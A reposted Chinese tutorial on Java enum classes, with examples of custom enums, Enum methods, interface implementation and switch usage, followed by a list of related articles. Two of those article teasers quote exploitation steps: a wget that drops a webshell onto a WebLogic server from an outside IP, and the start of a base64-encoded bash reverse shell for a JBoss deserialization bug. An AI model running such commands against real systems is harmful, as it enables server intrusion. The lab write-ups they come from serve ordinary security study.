【深入Java枚举类:不仅仅是常量的容器】

前言:

Java 枚举类(enum)是一种特殊的数据类型,用来定义一组预定义的常量。枚举类不仅可以包含常量,还能定义方法、字段和构造器,使其功能更加强大和灵活。

引入

【1】数学:枚举法:
1<x<4
2<y<5
求x+y=6

枚举法:一枚一枚的列举出来。前提:有限,确定

【2】在java中,类的对象是有限个,确定的。这个类我们可以定义为枚举类
举例:
星期:一二三四五六日  
性别:男女
季节:春夏秋冬

【3】自定义枚举类:

JDK1.5之前自定义枚举类) 

/*** @Auther: themyth* 定义枚举类:季节*/
public class Season {//属性:                         属性的值不能变private final String seasonName ;//季节名字private final String seasonDesc ;//季节描述//利用构造器对属性进行赋值操作://构造器私有化,外界不能调用这个构造器,只能Season内部自己调用private Season(String seasonName,String seasonDesc){this.seasonName = seasonName;this.seasonDesc = seasonDesc;}//提供枚举类的有限的 确定的对象:   对象的值不能变public static final Season SPRING = new Season("春天","春暖花开");public static final Season SUMMER = new Season("夏天","烈日炎炎");public static final Season AUTUMN = new Season("秋天","硕果累累");public static final Season WINTER = new Season("冬天","冰天雪地");//额外因素:public String getSeasonName() {return seasonName;}public String getSeasonDesc() {return seasonDesc;}//toString():@Overridepublic String toString() {return "Season{" +"seasonName='" + seasonName + '\'' +", seasonDesc='" + seasonDesc + '\'' +'}';}
}

测试类:

/*** @Auther: themyth*/
public class TestSeason {//这是一个main方法,是程序的入口:public static void main(String[] args) {Season summer = Season.SUMMER;System.out.println(summer/*.toString()*/);System.out.println(summer.getSeasonName());}
}

结果:

JDK1.5以后使用enum关键字创建枚举类): 

变为下面的枚举类: 

/*** @Auther: themyth* 定义枚举类:季节*/
public enum Season {//提供枚举类的有限的 确定的对象:   对象的值不能变--->enum枚举要求对象(常量)必须放在最开始的位置//多个对象之间用,进行连接,最后一个对象后面用;结束SPRING("春天","春暖花开"),SUMMER("夏天","烈日炎炎"),AUTUMN("秋天","硕果累累"),WINTER("冬天","冰天雪地");//属性:                         属性的值不能变private final String seasonName ;//季节名字private final String seasonDesc ;//季节描述//利用构造器对属性进行赋值操作://构造器私有化,外界不能调用这个构造器,只能Season内部自己调用private Season(String seasonName, String seasonDesc){this.seasonName = seasonName;this.seasonDesc = seasonDesc;}//额外因素:public String getSeasonName() {return seasonName;}public String getSeasonDesc() {return seasonDesc;}//toString():@Overridepublic String toString() {return "Season{" +"seasonName='" + seasonName + '\'' +", seasonDesc='" + seasonDesc + '\'' +'}';}
}

使用枚举类:
注意:先将Season枚举类里面的toString()方法注释掉 

/*** @Auther: themyth*/
public class TestSeason {//这是一个main方法,是程序的入口:public static void main(String[] args) {Season winter = Season.WINTER;System.out.println(winter);//enum关键字对应的枚举类的上层父类是:java.lang.Enum//但是我们自定义的枚举类的上层父类:ObjectSystem.out.println(Season.class.getSuperclass().getName());}
}

在源码中经常看到别人定义的枚举类形态:

public enum Season {//相当于Season下面有四个对象(常量),并且它们前面的修饰符都是public static final,后面相当于在调用空构造器,只是这儿可以省略SPRING,SUMMER(),//括号可以省略。AUTUMN(),WINTER;
}

为什么这么简单:因为这个枚举类底层没有属性,属性,构造器,toString,get方法都删掉不写了,然后按理来说应该写为:SPRING()   现在连()可以省略 就变成  SPRING
看到的形态就剩:常量名(对象名)  

案例:
Thread中的枚举类:State  

public enum State {/*** Thread state for a thread which has not yet started.*/NEW,/*** Thread state for a runnable thread.  A thread in the runnable* state is executing in the Java virtual machine but it may* be waiting for other resources from the operating system* such as processor.*/RUNNABLE,/*** Thread state for a thread blocked waiting for a monitor lock.* A thread in the blocked state is waiting for a monitor lock* to enter a synchronized block/method or* reenter a synchronized block/method after calling* {@link Object#wait() Object.wait}.*/BLOCKED,/*** Thread state for a waiting thread.* A thread is in the waiting state due to calling one of the* following methods:* <ul>*   <li>{@link Object#wait() Object.wait} with no timeout</li>*   <li>{@link #join() Thread.join} with no timeout</li>*   <li>{@link LockSupport#park() LockSupport.park}</li>* </ul>** <p>A thread in the waiting state is waiting for another thread to* perform a particular action.** For example, a thread that has called <tt>Object.wait()</tt>* on an object is waiting for another thread to call* <tt>Object.notify()</tt> or <tt>Object.notifyAll()</tt> on* that object. A thread that has called <tt>Thread.join()</tt>* is waiting for a specified thread to terminate.*/WAITING,/*** Thread state for a waiting thread with a specified waiting time.* A thread is in the timed waiting state due to calling one of* the following methods with a specified positive waiting time:* <ul>*   <li>{@link #sleep Thread.sleep}</li>*   <li>{@link Object#wait(long) Object.wait} with timeout</li>*   <li>{@link #join(long) Thread.join} with timeout</li>*   <li>{@link LockSupport#parkNanos LockSupport.parkNanos}</li>*   <li>{@link LockSupport#parkUntil LockSupport.parkUntil}</li>* </ul>*/TIMED_WAITING,/*** Thread state for a terminated thread.* The thread has completed execution.*/TERMINATED;}

Enum类中的常用方法

/*** @Auther: themyth*/
public class TestSeason {//这是一个main方法,是程序的入口:public static void main(String[] args) {//用enum关键字创建的Season枚举类上面的父类是:java.lang.Enum,常用方法子类Season可以直接拿来使用//toString():--->获取对象的名字Season autumn = Season.AUTUMN;System.out.println(autumn/*.toString()*/);System.out.println("-----------------------");//values():--->返回枚举类对象的数组Season[] values = Season.values();for(Season s : values){System.out.println(s/*.toString()*/);}System.out.println("-----------------------");//valueOf(String name):通过对象名字获取这个枚举对象//注意:对象的名字必须传正确,否则抛出异常Season autumn1 = Season.valueOf("AUTUMN");System.out.println(autumn1);}
}

枚举类实现接口

定义一个接口:

/*** @Auther: themyth*/
public interface TestInterface {void show();
}

枚举类实现接口,并且重写show方法:

public enum Season implements TestInterface{SPRING,SUMMER,AUTUMN,WINTER;@Overridepublic void show() {System.out.println("这是Season...");}
}

测试类: 

/*** @Auther: themyth*/
public class Test {//这是一个main方法,是程序的入口:public static void main(String[] args) {Season autumn = Season.AUTUMN;autumn.show();Season summer = Season.SUMMER;summer.show();}
}

上面发现所有的枚举对象,调用这个show方法的时候走的都是同一个方法,结果都一样:

但是现在我想要:不同的对象  调用的show方法也不同:
 

public enum Season implements TestInterface{SPRING{@Overridepublic void show() {System.out.println("这是春天");}},SUMMER{@Overridepublic void show() {System.out.println("这是夏天");}},AUTUMN{@Overridepublic void show() {System.out.println("这是秋天");}},WINTER{@Overridepublic void show() {System.out.println("这是冬天");}};/* @Overridepublic void show() {System.out.println("这是Season...");}*/
}

测试类:

/*** @Auther: themyth*/
public class Test {//这是一个main方法,是程序的入口:public static void main(String[] args) {Season autumn = Season.AUTUMN;autumn.show();Season summer = Season.SUMMER;summer.show();}
}

实际应用

/*** @Auther: themyth*/
public class Person {//属性:private int age;private String name;private Gender sex;//将枚举类作为一个属性public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}public Gender getSex() {return sex;}public void setSex(Gender sex) {this.sex = sex;}@Overridepublic String toString() {return "Person{" +"age=" + age +", name='" + name + '\'' +", sex='" + sex + '\'' +'}';}
}
/*** @Auther: themyth*/
public enum Gender {男,女;
}
/*** @Auther: themyth*/
public class Test {//这是一个main方法,是程序的入口:public static void main(String[] args) {Person p = new Person();p.setAge(19);p.setName("lili");p.setSex(Gender.男);//传入枚举类Gender的对象:--->在入口处对参数进行了限制System.out.println(p);}
}

还可以通过枚举结合switch处理:

/*** @Auther: themyth*/
public class Test02 {//这是一个main方法,是程序的入口:public static void main(String[] args) {Gender sex = Gender.男;//switch后面的()中可以传入枚举类型://switch后面的():byte,short,int,char,string,枚举switch (sex){case 女:System.out.println("是个女孩");break;case 男:System.out.println("是个男孩");break;}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1542363.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Qt系统相关——事件

文章目录 事件和信号槽的关系事件处理鼠标事件鼠标进入和离开鼠标点击获取位置鼠标释放鼠标双击鼠标移动鼠标滚轮 键盘事件定时器事件窗口移动和窗口改变 事件和信号槽的关系 Qt信号槽机制&#xff1a; 用户进行的操作就可能产生信号&#xff0c;可以给某个信号指定槽函数&…

【machine learning-15-如何判定梯度下降是否在收敛】

我们在运行梯度下降的时候&#xff0c;如何判定梯度下降是否在收敛呢&#xff1f; 梯度下降的时候&#xff0c;权重和偏置根据如下的公式同时更新&#xff1a; 程序要做的就是更新w 和 b&#xff0c;让梯度下降尽快的收敛&#xff0c;但是如何判定正在收敛呢&#xff1f; 方法…

数据库管理-第243期 云栖有感:AI?AI!(20240922)

数据库管理243期 2024-09-22 数据库管理-第243期 云栖有感&#xff1a;AI&#xff1f;AI&#xff01;&#xff08;20240922&#xff09;1 AI2 干货3 数据库总结 数据库管理-第243期 云栖有感&#xff1a;AI&#xff1f;AI&#xff01;&#xff08;20240922&#xff09; 作者&am…

Java项目实战II基于Java+Spring Boot+MySQL的民宿在线预定平台(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在旅游市场…

WebLogic命令执行漏洞CVE-2019-2725

1.环境搭建 cd vulhub-master/weblogic/weak_password docker-compose up -d 2.漏洞验证 http://47.121.211.205:7001/_async/AsyncResponseService 说明存在漏洞 3.在当前页面抓包 修改请求包 写入shell wget http://47.121.211.205/1.txt -O servers/AdminServer/tmp/_W…

Jboss反序列化漏洞CVE-2015-7501

1.环境搭建 cd vulhub-master/jboss/JMXInvokerServlet-deserialization docker-compose up -d 2.漏洞验证 http://47.121.211.205:8080/invoker/JMXInvokerServlet 如果有文件下载 说明存在 3.使用ysoserial工具进行漏洞利用 将反弹shell进行base64编码 bash -i >&am…

【红动中国-注册_登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…

车辆重识别(CVPR2016图像识别的深度残差学习ResNet)论文阅读2024/9/21

[2] Deep Residual Learning for Image Recognition ( CVPR 2016) 作者&#xff1a;Kaiming He Xiangyu Zhang Shaoqing Ren Jian Sun 单位&#xff1a;微软研究院 摘要&#xff1a; 更深层的神经网络更难训练。我们提出了一个残差学习框架&#xff0c;以减轻对比先前使用的深…

linux远程工具MobaXterm的安装和使用

一、安装和运行 1、下载 地址&#xff1a;&#xff08;手机夸克转存后下载是对作者最大的支持&#xff09;https://pan.quark.cn/s/32e1f5e5e95c 2、解压 解压到到常用软件目录下&#xff0c;如C:\Program Files 3、运行 双击MobaXterm_Personal_24.2.exe运行&#xff0c;…

路由器如何绑定三层 trunk 接口

一、拓扑&#xff1a; 二、配置思路&#xff1a; 1、AR1、2 起 eth-trunk X&#xff08;AR系列中&#xff0c;X范围0-7&#xff09; 2、改变接口由二层到三层 3、配置 Porttrunk 范围 4、起三层地址 三、配置内容&#xff1a; [AR1]: interface Eth-Trunk0undo portswitchip…

[项目:微服务即时通讯系统客户端(基于C++QT)]三,左侧界面搭建

三&#xff0c;左侧界面搭建 一&#xff0c;导入 先把MainWidget类做成“单例类” 采用的是单例模式&#xff0c;让某一个类&#xff0c;在指定进程中只有唯一的实例 先看一下MainWidget的框架 QWidget//这部分是头文件保护宏&#xff0c;确保该头文件只被包含一次&#x…

NSSCTF刷题篇1

js类型 [SWPUCTF 2022 新生赛]js_sign 这是一道js信息泄露的题目直接查看源码&#xff0c;有一个main.js文件点击之后&#xff0c;有一串数字和一段base64编码&#xff0c;解开base64编码得到这个编码为敲击码 解码在线网站&#xff1a;Tap Code - 许愿星 (wishingstarmoye.…

Fyne ( go跨平台GUI )中文文档- 扩展Fyne (七)

本文档注意参考官网(developer.fyne.io/) 编写, 只保留基本用法 go代码展示为Go 1.16 及更高版本, ide为goland2021.2 这是一个系列文章&#xff1a; Fyne ( go跨平台GUI )中文文档-入门(一)-CSDN博客 Fyne ( go跨平台GUI )中文文档-Fyne总览(二)-CSDN博客 Fyne ( go跨平台GUI…

百度amis框架经验分享

百度amis框架经验分享 官方文档 amis - 低代码前端框架 这篇文章讲了amis的设计 为什么说百度AMIS框架是一个优秀的设计_百度前端框架-CSDN博客 学习方法&#xff1a; 最好的学习方法就是GPT官方文档 不要去很大力气通读官方文档&#xff0c;大概浏览一遍就行&#xff0c; 以你…

VisionPro - 基础 - 模板匹配技术-Search/PMAlign/PatMax(6)-纹理屏蔽和重叠匹配

前言&#xff1a; 1 特征掩膜屏蔽&#xff1a; 模板匹配的应用中&#xff0c;去除非感兴趣的区域&#xff0c;或者去除一些枝端末节的特征&#xff0c;突出需要的主特征的匹配是一个基本原则。这一节&#xff0c;介绍了PatMax的一些处理方法&#xff1a; 2 重叠匹配 1 Ignor…

【HTTPS】中间人攻击和证书的验证

中间人攻击 服务器可以创建出一堆公钥和私钥&#xff0c;黑客也可以按照同样的方式&#xff0c;创建一对公钥和私钥&#xff0c;冒充自己是服务器&#xff08;搅屎棍&#xff09; 黑客自己也能生成一对公钥和私钥。生成公钥和私钥的算法是开放的&#xff0c;服务器能生产&…

工程车辆目标检测、程车检测算法、工程车辆类型检测算法

工程车检测算法主要用于智能交通系统、建筑工地管理、矿山开采、物流运输等领域&#xff0c;通过图像识别技术来检测和识别工程车&#xff0c;以提高安全管理、交通流量管理和资源调度的效率。以下是关于工程车检测算法的技术实现、应用场景及优势的详细介绍。 一、技术实现 工…

nuget包管理

1、下载 下载nuget 下载nuget.exe&#xff0c;配置系统环境变量&#xff0c;打开电脑属性一高级系统设置一环境变量一系统变量&#xff0c;选择Path&#xff0c;添加nuget.exe目录 2、常用命令 nuget install System.Data.SQLITE -SolutionDirectory D:\NugetPackages\ -Packa…